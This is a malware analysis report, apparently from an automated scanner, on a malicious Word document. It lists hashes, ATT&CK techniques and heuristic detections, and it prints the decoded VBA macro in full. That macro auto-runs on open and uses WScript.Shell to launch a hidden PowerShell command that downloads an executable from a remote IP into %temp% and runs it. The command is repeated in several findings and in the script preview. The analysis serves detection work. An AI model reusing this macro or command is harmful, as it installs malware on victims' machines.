Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e00b1af2bd049558…

MALICIOUS

Office (OLE)

70.0 KB Created: 2014-09-15 21:57:00 Authoring application: Microsoft Office Word First seen: 2014-10-17
MD5: 7a9018df7e4cde2acb0737a070dbe519 SHA-1: c789cc7e2ac8cf7ad980f7bccdfdd2387882c541 SHA-256: e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c
566 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document that uses a lure to trick the user into enabling macros. The VBA script within the document utilizes WScript.Shell to execute a command that downloads a second-stage executable from 'http://23.95.23.202/v9y.exe' and saves it to the temporary directory as '%temp%\v9y.exe' before executing it.

Heuristics 17

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    wsh.Run "cmd.exe /S /C powershell -command ""(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', '%temp%\v9y.exe')"" && %temp%\v9y.exe", windowStyle, waitOnReturn
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    wsh.Run "cmd.exe /S /C powershell -command ""(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', '%temp%\v9y.exe')"" && %temp%\v9y.exe", windowStyle, waitOnReturn
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://23.95.23.202/v9y.exe In document text (OLE body)
    • http://@23.95.@In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1131 bytes
SHA-256: 62ba7b9f2322512611ebfb585d80b6818defd427ebc9c9858ee6c67d5725bddb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Public Sub ÇÚz6eROôðØXôßuÈËñÊÕÞe5EgrâŠüÜÉzâ6GÌHHÙmAUo3jjHNÌkcÞSós7IîÏHziÃÔòŸeÁfoxƒDÊøMBéçW2ÿÈâømèkvNPûÈiýÏëSOIïêvwÙfaç1ìCPuBȃ49()
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = True
Dim windowStyle As Integer: windowStyle = 0

wsh.Run "cmd.exe /S /C powershell -command ""(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', '%temp%\v9y.exe')"" && %temp%\v9y.exe", windowStyle, waitOnReturn
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
ÇÚz6eROôðØXôßuÈËñÊÕÞe5EgrâŠüÜÉzâ6GÌHHÙmAUo3jjHNÌkcÞSós7IîÏHziÃÔòŸeÁfoxƒDÊøMBéçW2ÿÈâømèkvNPûÈiýÏëSOIïêvwÙfaç1ìCPuBȃ49
End Sub

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